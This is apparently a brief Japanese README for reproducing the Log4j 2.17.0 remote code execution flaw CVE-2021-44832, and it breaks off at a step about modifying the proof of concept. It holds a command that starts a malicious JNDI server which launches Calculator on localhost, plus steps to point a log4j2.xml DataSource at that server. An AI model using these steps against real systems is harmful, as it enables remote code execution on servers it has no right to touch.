log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 再現 1. 悪意のあるjndiサーバーを起動する java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. config/log4j2.xmlのDataSource部分を、生成したjndiアドレスに変更する 設定ファイルを自分のHTTPサーバーにデプロイする 3. PoCを修正する...